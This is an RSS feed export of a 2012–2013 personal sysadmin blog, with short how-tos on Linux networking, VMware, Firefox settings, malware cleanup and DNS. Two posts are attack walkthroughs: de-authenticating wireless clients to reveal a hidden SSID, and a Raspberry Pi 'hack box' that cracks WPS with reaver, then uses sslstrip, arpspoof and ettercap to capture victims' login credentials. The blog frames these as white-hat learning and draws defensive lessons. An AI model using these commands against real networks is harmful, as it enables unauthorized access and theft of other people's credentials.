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<channel>
	<title>Wapnet Blog</title>
	<atom:link href="http://blog.wapnet.nl/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.wapnet.nl</link>
	<description>By: Thomas Faddegon</description>
	<lastBuildDate>Tue, 21 May 2013 22:05:44 +0000</lastBuildDate>
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		<item>
		<title>Show hidden SSID</title>
		<link>http://blog.wapnet.nl/2013/05/show-hidden-ssid/</link>
		<comments>http://blog.wapnet.nl/2013/05/show-hidden-ssid/#comments</comments>
		<pubDate>Tue, 21 May 2013 22:03:09 +0000</pubDate>
		<dc:creator>Thomas Faddegon</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://blog.wapnet.nl/?p=1050</guid>
		<description><![CDATA[airmon-ng start wlan0 airmon-ng airodump-ng mon0 get the mac of the hidden SIDD and do a de-auth attack to force disconnect all wireless clients aireplay-ng -0 2 -a xx:xx:xx:xx:xx:xx mon0 now you can see the SSID]]></description>
				<content:encoded><![CDATA[<blockquote><p>airmon-ng start wlan0</p>
<p>airmon-ng</p>
<p>airodump-ng mon0</p></blockquote>
<p>get the mac of the hidden SIDD and do a de-auth attack to force disconnect all wireless clients</p>
<blockquote><p>aireplay-ng -0 2 -a xx:xx:xx:xx:xx:xx mon0</p></blockquote>
<p>now you can see the SSID</p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux setup higher tx-power wireless</title>
		<link>http://blog.wapnet.nl/2013/05/linux-setup-higher-tx-power-wireless/</link>
		<comments>http://blog.wapnet.nl/2013/05/linux-setup-higher-tx-power-wireless/#comments</comments>
		<pubDate>Tue, 21 May 2013 21:38:30 +0000</pubDate>
		<dc:creator>Thomas Faddegon</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://blog.wapnet.nl/?p=1046</guid>
		<description><![CDATA[ifconfig wlan0 down iw reg set US iwconfig wlan0 txpower 27 iwconfig]]></description>
				<content:encoded><![CDATA[<blockquote><p>ifconfig wlan0 down</p>
<p>iw reg set US</p>
<p>iwconfig wlan0 txpower 27</p>
<p>iwconfig</p></blockquote>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Linux setup quick networking</title>
		<link>http://blog.wapnet.nl/2013/05/linux-setup-quick-networking/</link>
		<comments>http://blog.wapnet.nl/2013/05/linux-setup-quick-networking/#comments</comments>
		<pubDate>Tue, 21 May 2013 20:56:09 +0000</pubDate>
		<dc:creator>Thomas Faddegon</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://blog.wapnet.nl/?p=1040</guid>
		<description><![CDATA[ifconfig eth0 192.168.1.222/24 up route add default gw 192.168.1.1 echo nameserver 8.8.8.8 &#62; /etc/resolv.conf update-rc.d networking defaults]]></description>
				<content:encoded><![CDATA[<blockquote><p>ifconfig eth0 192.168.1.222/24 up</p>
<p>route add default gw 192.168.1.1</p>
<p>echo nameserver 8.8.8.8 &gt; /etc/resolv.conf</p>
<p>update-rc.d networking defaults</p></blockquote>
]]></content:encoded>
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		</item>
		<item>
		<title>Install VMware Tools on Centos 6</title>
		<link>http://blog.wapnet.nl/2013/04/install-vmware-tools-on-centos-6/</link>
		<comments>http://blog.wapnet.nl/2013/04/install-vmware-tools-on-centos-6/#comments</comments>
		<pubDate>Mon, 29 Apr 2013 13:21:59 +0000</pubDate>
		<dc:creator>Thomas Faddegon</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://blog.wapnet.nl/?p=1034</guid>
		<description><![CDATA[This is a HOWTO for installing VMware Tools on Centos 6.x. Update your system so the kernel headers/devel will match your system: yum update Install the VMware tools prerequisites: yum install make gcc kernel-devel kernel-headers glibc-headers perl Reboot the server: shutdown -r now Mount the VMware Tools CD (after inserting it into the VM) mkdir /media/cdrom mount [...]]]></description>
				<content:encoded><![CDATA[<p>This is a HOWTO for installing VMware Tools on Centos 6.x.</p>
<p>Update your system so the kernel headers/devel will match your system:</p>
<blockquote><p>yum update</p></blockquote>
<p>Install the VMware tools prerequisites:</p>
<blockquote><p>yum install make gcc kernel-devel kernel-headers glibc-headers perl</p></blockquote>
<p>Reboot the server:</p>
<blockquote><p>shutdown -r now</p></blockquote>
<p>Mount the VMware Tools CD (after inserting it into the VM)</p>
<blockquote><p>mkdir /media/cdrom<br />
mount /dev/cdrom /media/cdrom</p></blockquote>
<p>Copy the install bundle from the CD and extract it.</p>
<blockquote><p>cp /mnt/cdrom/VMware-Tools*.tar.gz /root<br />
cd /root<br />
tar xvfz VMwareTools*.tar.gz</p></blockquote>
<p>Run the installer, default on all prompts works fine.</p>
<blockquote><p>cd /root/vmware-tools-distrib<br />
./vmware-install.pl</p></blockquote>
<p>Reboot the server.</p>
<blockquote><p>shutdown -r now</p></blockquote>
<p>Source: <a href="http://mondotech.blogspot.nl/2012/05/install-vmware-tools-on-rhel-6-centos-6.html">http://mondotech.blogspot.nl/2012/05/install-vmware-tools-on-rhel-6-centos-6.html</a></p>
]]></content:encoded>
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		</item>
		<item>
		<title>Force shutdown or kill a stuck VMWare virtual machine</title>
		<link>http://blog.wapnet.nl/2013/04/force-shutdown-or-kill-a-stuck-vmware-virtual-machine/</link>
		<comments>http://blog.wapnet.nl/2013/04/force-shutdown-or-kill-a-stuck-vmware-virtual-machine/#comments</comments>
		<pubDate>Mon, 08 Apr 2013 22:39:33 +0000</pubDate>
		<dc:creator>Thomas Faddegon</dc:creator>
				<category><![CDATA[VMWare]]></category>

		<guid isPermaLink="false">http://blog.wapnet.nl/?p=1024</guid>
		<description><![CDATA[Sometimes when a LUN is full a VM cannot shutdown properly Make a SSH connection to the host where the VM running at Login as root list all running VM&#8217;s Get the current state Output: Now you know for sure the status is stuck you can kill the VM Output: The code right after root [...]]]></description>
				<content:encoded><![CDATA[<p>Sometimes when a LUN is full a VM cannot shutdown properly</p>
<ul>
<li>Make a SSH connection to the host where the VM running at</li>
<li>Login as root</li>
<li>list all running VM&#8217;s</li>
</ul>
<pre class="brush: plain; title: ; notranslate">
# vmware-cmd -l
</pre>
<ul>
<li>Get the current state</li>
</ul>
<pre class="brush: plain; title: ; notranslate">
# vmware-cmd /vmfs/volumes/&lt;UUID&gt;/&lt;VMDIR&gt;/&lt;VMNAME&gt;.vmx getstate
</pre>
<ul>
<li>Output:</li>
</ul>
<pre class="brush: plain; title: ; notranslate">
[root@esx ~]# vmware-cmd /vmfs/volumes/&lt;UUID&gt;/&lt;VMDIR&gt;/&lt;VMNAME&gt;.vmx getstate
getstate() = stuck
</pre>
<ul>
<li>Now you know for sure the status is stuck you can kill the VM</li>
</ul>
<pre class="brush: plain; title: ; notranslate">
ps auxwww |grep -i &lt;VMNAME&gt;.vmx&lt;/span&gt;
</pre>
<ul>
<li>Output:</li>
</ul>
<pre class="brush: plain; title: ; notranslate">
root 3093 0.0 0.3 2016 860 ? S&lt; Jul30 0:17 /usr/lib/vmware/bin/vmkload_app /usr/lib/vmware/bin/vmware-vmx -ssched.group=host/user -# name=VMware ESX Server;version=3.5.0;licensename=VMware ESX Server;licenseversion=2.0 build-158874; -@ pipe=/tmp/vmhsdaemon-0/vmx569228e44baf49d1; /vmfs/volumes/49392e30-162037d0-17c6-001f29e9abec/&lt;VMDIR&gt;/&lt;VMNAME&gt;.vmx
</pre>
<ul>
<li>The code right after root is the PID you must kill.</li>
<li>First try only kill</li>
</ul>
<pre class="brush: plain; title: ; notranslate">
#kill 3093
</pre>
<ul>
<li>Wait 30 seconds and try a getstate again:</li>
</ul>
<pre class="brush: plain; title: ; notranslate">
# vmware-cmd /vmfs/volumes/&lt;UUID&gt;/&lt;VMDIR&gt;/&lt;VMNAME&gt;.vmx getstate
</pre>
<ul>
<li>If the state is &#8220;off&#8221; your ready. If the state is still stuck try the following:</li>
</ul>
<pre class="brush: plain; title: ; notranslate">
#kill -9 3093
</pre>
<ul>
<li>Wait 30 seconds and see the state is &#8220;off&#8221; now.</li>
</ul>
<p>If the state is still &#8220;stuck&#8221; migrate all VM&#8217;s to another host en reboot the host.</p>
<p>When the VM is off by the kill command HA (High Availability) will power on the host automaticly. Now power down the server during the boot trough the VMWare GUI. If the VM is off try to remove snapshots, (re) move disks, or fix the thing who cause the crash.</p>
<p>Source: <a href="http://kb.vmware.com/selfservice/microsites/search.do?language=en_US&amp;cmd=displayKC&amp;externalId=1004340">VMware KB 1004340</a></p>
<pre></pre>
]]></content:encoded>
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		</item>
		<item>
		<title>Firefox disable all plugins by default</title>
		<link>http://blog.wapnet.nl/2013/01/firefox-disable-all-plugins-by-default/</link>
		<comments>http://blog.wapnet.nl/2013/01/firefox-disable-all-plugins-by-default/#comments</comments>
		<pubDate>Wed, 30 Jan 2013 09:42:38 +0000</pubDate>
		<dc:creator>Thomas Faddegon</dc:creator>
				<category><![CDATA[Firefox]]></category>

		<guid isPermaLink="false">http://blog.wapnet.nl/?p=1020</guid>
		<description><![CDATA[There are a lot of security issues because of bad plugins (Java, Flash, etc). You can disable all plugins by default so you must click to activate. about:config plugins.click_to_play set value to true Restart the browser Now all plugin are diabled by default and you must click to activate. &#160; &#160; &#160;]]></description>
				<content:encoded><![CDATA[<p>There are a lot of security issues because of bad plugins (Java, Flash, etc). You can disable all plugins by default so you must click to activate.</p>
<ul>
<li>about:config</li>
<li>plugins.click_to_play</li>
<li>set value to <strong>true</strong></li>
<li>Restart the browser</li>
</ul>
<p>Now all plugin are diabled by default and you must click to activate.</p>
<p><a href="http://blog.wapnet.nl/wp-content/uploads/2013/01/ff-plugin.png"><img class="alignnone size-full wp-image-1021" alt="ff-plugin" src="http://blog.wapnet.nl/wp-content/uploads/2013/01/ff-plugin.png" width="465" height="207" /></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content:encoded>
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		</item>
		<item>
		<title>My Raspberry Pi Project: Hack box</title>
		<link>http://blog.wapnet.nl/2013/01/my-raspberry-pi-project-hack-box/</link>
		<comments>http://blog.wapnet.nl/2013/01/my-raspberry-pi-project-hack-box/#comments</comments>
		<pubDate>Sun, 27 Jan 2013 12:43:24 +0000</pubDate>
		<dc:creator>Thomas Faddegon</dc:creator>
				<category><![CDATA[Networking]]></category>

		<guid isPermaLink="false">http://blog.wapnet.nl/?p=1008</guid>
		<description><![CDATA[Finally I found a nice project for my Raspberry PI I&#8217;ll write down some notes in this post to make it easier to find back some linux commands. Please use this documentation only as a white hat hacker and for learning purposes only!!!! First: Have a compatible USB wireless dongle (list @ pwnpi.net ) Download PwnPI @ [...]]]></description>
				<content:encoded><![CDATA[<p>Finally I found a nice project for my Raspberry PI <img src='http://blog.wapnet.nl/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  I&#8217;ll write down some notes in this post to make it easier to find back some linux commands. Please use this documentation only as a white hat hacker and for learning purposes only!!!!</p>
<p>First:</p>
<ul>
<li>Have a compatible USB wireless dongle (list @ <a href="http://www.pwnpi.net">pwnpi.net</a> )</li>
<li>Download PwnPI @ <a href="http://www.pwnpi.net">pwnpi.net</a></li>
<li>Download win32diskimager @ <a href="http://sourceforge.net/projects/win32diskimager/">http://sourceforge.net/projects/win32diskimager/</a></li>
<li>Write the image to a SD card</li>
<li>Boot up your PI (with a network cable)</li>
<li>Scan the network (I use <a href="http://tools.global-e.nl/netscan.exe">netscan.exe</a>)</li>
<li>Connect with <a href="http://tools.global-e.nl/putty.exe">putty</a> to your device</li>
</ul>
<p>To break in a WPS compatible wireless access point:</p>
<ul>
<li>airmon-ng start wlan0</li>
<li><a href="http://blog.wapnet.nl/wp-content/uploads/2013/01/wireless-overview.png"><img class="alignnone size-full wp-image-1010" alt="wireless-overview" src="http://blog.wapnet.nl/wp-content/uploads/2013/01/wireless-overview.png" width="471" height="191" /></a></li>
<li>reaver -i mon0 -b 64:27:37:50:02:77 -c 5 -vv</li>
<li>After +/- 10 hours you have the PSK</li>
</ul>
<p>Now configure the wireless with your credentials</p>
<ul>
<li>airmon-ng stop wlan0</li>
<li>nano /etc/network/interfaces</li>
<li>Original file:</li>
</ul>
<pre class="brush: plain; title: ; notranslate">
auto lo

iface lo inet loopback
iface eth0 inet dhcp

allow-hotplug wlan0
iface wlan0 inet manual
wpa-roam /etc/wpa_supplicant/wpa_supplicant.conf
iface default inet dhcp
</pre>
<ul>
<li>New file:</li>
</ul>
<pre class="brush: plain; title: ; notranslate">
auto lo

iface lo inet loopback
iface eth0 inet dhcp
iface wlan0 inet dhcp
wpa-ssid &quot;L0g0ff&quot;
wpa-psk &quot;SomePassword&quot;
allow-hotplug wlan0
iface wlan0 inet dhcp
#wpa-roam /etc/wpa_supplicant/wpa_supplicant.conf
iface default inet dhcp
</pre>
<ul>
<li>Now bring up the wireless card: <strong>ifup wlan0</strong></li>
</ul>
<p>Now the wireless setup is done we make our PI an IP forwarding server. So that we can do man in the middle attacks.</p>
<ul>
<li><strong>nano /proc/sys/net/ipv4/ip_forward </strong>change the 0 to 1</li>
<li>
<pre class="brush: plain; title: ; notranslate">iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 666 </pre>
<p><strong> </strong>(needed to forward all HTTP traffic to SSLStrip)</li>
<li><strong>sslstrip -l 666 </strong>(do not close this terminal)</li>
</ul>
<p>Now the proxy is running we want to ARP spoof so that we can redirect all traffic to our PI</p>
<ul>
<li><strong>arpspoof -i wlan0 -t 192.168.1.12 192.168.1.1 </strong>(where 1.12 is our victim and 1.1 our gateway) (do not close ths terminal)</li>
<li>You can also spoof the entire network with <strong>arpspoof -i wlan0 192.168.1.1</strong>, but if your PI cannot handle all traffic you will DoS your network.</li>
</ul>
<p>And now all things are set the sniffing can begin <img src='http://blog.wapnet.nl/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<ul>
<li><strong>ettercap -m ettercap.log -Tq -i wlan0 </strong>(don&#8217;t close the terminal)</li>
</ul>
<p>The only thing left now is wait that the victim is going to log in a website and the username and password will write in to the ettercap.log file. With the command <strong>cat ettercap.log |grep USER</strong> you can see all the login credentials.</p>
<p><strong>What do we learned?</strong></p>
<ol>
<li>Never login to a website without https</li>
<li>Never login to a website with https errors</li>
<li>Always disable WPS on your router</li>
<li>On company wireless sites always use a DMZ</li>
</ol>
<p>Sources:<br />
<a href="http://www.ikwashetniet.blogspot.nl/2012/01/wps-van-handig-hulpmiddel-naar-gapend.html">http://www.ikwashetniet.blogspot.nl/2012/01/wps-van-handig-hulpmiddel-naar-gapend.html</a><br />
<a href="http://www.hackavision.com/2011/07/sniffing-passwords-over-wifi-connection.html">http://www.hackavision.com/2011/07/sniffing-passwords-over-wifi-connection.html</a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content:encoded>
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		</item>
		<item>
		<title>Archlinux install UAR package (Arch User Repository)</title>
		<link>http://blog.wapnet.nl/2012/10/archlinux-install-uar-package-arch-user-repository/</link>
		<comments>http://blog.wapnet.nl/2012/10/archlinux-install-uar-package-arch-user-repository/#comments</comments>
		<pubDate>Mon, 01 Oct 2012 20:55:15 +0000</pubDate>
		<dc:creator>Thomas Faddegon</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://blog.wapnet.nl/?p=992</guid>
		<description><![CDATA[Some packages are not in the default repositories you can install these on a alternative way. First install the base development tools: Go to https://aur.archlinux.org and find you package Find the tarball, right click it and copy link location Wget the package (example nemo-fm) and install the package Have fun]]></description>
				<content:encoded><![CDATA[<p>Some packages are not in the default repositories you can install these on a alternative way.</p>
<p>First install the base development tools:</p>
<pre class="brush: plain; title: ; notranslate">
#pacman -S base-devel
#pacman -S wget
#pacman -S sudo
</pre>
<p>Go to <a href="https://aur.archlinux.org">https://aur.archlinux.org</a> and find you package<br />
Find the tarball, right click it and copy link location<br />
Wget the package (example nemo-fm) and install the package</p>
<pre class="brush: plain; title: ; notranslate">
$cd ~
$wget https://aur.archlinux.org/packages/ne/nemo-fm/nemo-fm.tar.gz 
$tar xvzf nemo-fm.tar.gz
$cd nemo-fm
$makepkg -s
$sudo pacman -U nemo-fm-1.0.2-1-i686.pkg.tar.xz
</pre>
<p>Have fun <img src='http://blog.wapnet.nl/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
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		</item>
		<item>
		<title>Howto remove all kind of malware, rootkits, trojans and virusses</title>
		<link>http://blog.wapnet.nl/2012/09/howto-remove-all-kind-of-malware-rootkits-trojans-and-virusses/</link>
		<comments>http://blog.wapnet.nl/2012/09/howto-remove-all-kind-of-malware-rootkits-trojans-and-virusses/#comments</comments>
		<pubDate>Sun, 09 Sep 2012 14:41:17 +0000</pubDate>
		<dc:creator>Thomas Faddegon</dc:creator>
				<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://blog.wapnet.nl/?p=984</guid>
		<description><![CDATA[Best way to clean malware, rootkits, trojans and virusses (I call it malware from now on) is to backup your data, scan your data with another computer, remove your partition, reinstall Windows, install a virusscanner, update your Windows and put you data back. This is the safest method and I allways recommend this to people. [...]]]></description>
				<content:encoded><![CDATA[<p>Best way to clean malware, rootkits, trojans and virusses (I call it malware from now on) is to backup your data, scan your data with another computer, remove your partition, reinstall Windows, install a virusscanner, update your Windows and put you data back. This is the safest method and I allways recommend this to people.</p>
<p>But if you don&#8217;t want to reinstall everything you can follow this steps to get a infected pc clean.</p>
<ol>
<li>Go to <a href="http://support.kaspersky.com/viruses/rescuedisk/main?qid=208286083">http://support.kaspersky.com/viruses/rescuedisk/main?qid=208286083</a> and download the USB util and the Kaspersky Rescue Disk 10 image</li>
<li>Create a bootable USB disk with the USB util. You also can burn the ISO to a CD</li>
<li>Boot from the USB/CD</li>
<li>Make a network connection (I recommend using a network cable)</li>
<li>Update the virus definitions</li>
<li>Select all options and  do a full system scan. This can take about 1,5 hour. Maybe longer if you use a slow disk/pc<br />
<a href="http://blog.wapnet.nl/wp-content/uploads/2012/09/kaspersky-rescue-disk-scan.png"><img class="alignnone  wp-image-988" title="kaspersky-rescue-disk-scan" src="http://blog.wapnet.nl/wp-content/uploads/2012/09/kaspersky-rescue-disk-scan.png" alt="" width="401" height="238" /></a></li>
<li>Clean all the malware</li>
<li>Exit the rescue disk and boot windows</li>
<li>Now download Kaspersky TDSSKiller @ <a href="http://support.kaspersky.com/faq/?qid=208283363">http://support.kaspersky.com/faq/?qid=208283363</a></li>
<li>Install the TDSSKiller software, scan the pc and remove the rootkits. It is almost impossible to clean a rootkit with a standard virusscanner. And because of some rootkits you can&#8217;t install drivers so you can&#8217;t load an antivirus real time protection.</li>
<li>Now install a virusscanner. I recommend <a href="http://windows.microsoft.com/nl-NL/windows/products/security-essentials">MS Security Essentials</a>. This is a free antivirus software.</li>
<li>Update the antivirus (this can take 45 min the first time so please be patient) software and do a full scan.</li>
<li>Now download and install <a href="http://www.malwarebytes.org/">Malwarebytes Anti-Malware</a> and do a full system scan.</li>
<li>Update your Windows true windows update (and turn automatic updates ON!), update your browser, update Java and Flash or remove it.</li>
</ol>
<p>Now your pc is clean of almost any type of malware and ready to protect it for new malware. All steps together takes almost 6 hours of scanning. So maybe reinstall your operating system is always the best option <img src='http://blog.wapnet.nl/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>This steps helped me to clean a very bad infected laptop that had not any antivirus realtime protection installed. If this steps also helps you to fix a infected pc please leave a comment below or buy me a beer (see widget on the right).</p>
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		<title>Stub zone easy explained</title>
		<link>http://blog.wapnet.nl/2012/08/stub-zone-easy-explained/</link>
		<comments>http://blog.wapnet.nl/2012/08/stub-zone-easy-explained/#comments</comments>
		<pubDate>Tue, 14 Aug 2012 18:27:17 +0000</pubDate>
		<dc:creator>Thomas Faddegon</dc:creator>
				<category><![CDATA[Networking]]></category>

		<guid isPermaLink="false">http://blog.wapnet.nl/?p=968</guid>
		<description><![CDATA[The difference between stub zone and secondary DNS zones&#8230;  It all relates to replication, efficiency and availability. Think of it like this: There are two cities, London and Manchester. London has 100 people, each with a book full of information (so 100 books in total). You are in Manchester and you want to be able [...]]]></description>
				<content:encoded><![CDATA[<p>The difference between stub zone and secondary DNS zones&#8230;  It all relates to replication, efficiency and availability.</p>
<p>Think of it like this:<br />
There are two cities, London and Manchester.<br />
London has 100 people, each with a book full of information (so 100 books in total).<br />
You are in Manchester and you want to be able to have access to the information in these &#8220;books&#8221;.</p>
<p>There are two ways to do this as follows:<br />
a) Another 100 people appear in London, they each make a copy of a book, and they each take their own car in order to drive to Manchester to meet you and give you the books. This causes a traffic jam due to the high number of people driving on the highway.</p>
<p>The above is secondary zone replication.</p>
<p>b) Instead of the above, you received the address of the 100 people in London. You need information in one of the books. You decide to take your car, and you drive to the address. You found the information you need, and you drive back to Manchester.</p>
<p>This example is a stub zone.</p>
<p>So think about it for a second.<br />
In example A, the information is stored twice, both in London and Manchester, but the information requires a big highway to transport those 100 people, each in their individual cars, to your office in Manchester. Do you have a big enough highway to support this many people?<br />
In example B, you don&#8217;t need such a big highway because a massive number of people are not clogging the highway, each trying to bring a book to you, but instead you decide to go back to London to find the book you need.</p>
<p>So what do we gather from this?<br />
In example A, you need a large highway (lots of bandwidth) to get the books from London to Manchester. But once the information is in Manchester, you can very quickly find the book you need.<br />
In example B, you don&#8217;t need a large highway to find the book in London, but you do need a RELIABLE highway. If this highway is closed, how do you get the book? And remember, since the books are not in Manchester, it will take longer for you to get the book (since you need to drive back and forth for it).</p>
<p>Hope this helps, first thing that came to my mind.</p>
<p>Thanks to <a href="http://www.certforums.com/forums/network-infrastructure/44684-difference-between-secondary-stub-zones.html">Shinigami</a></p>
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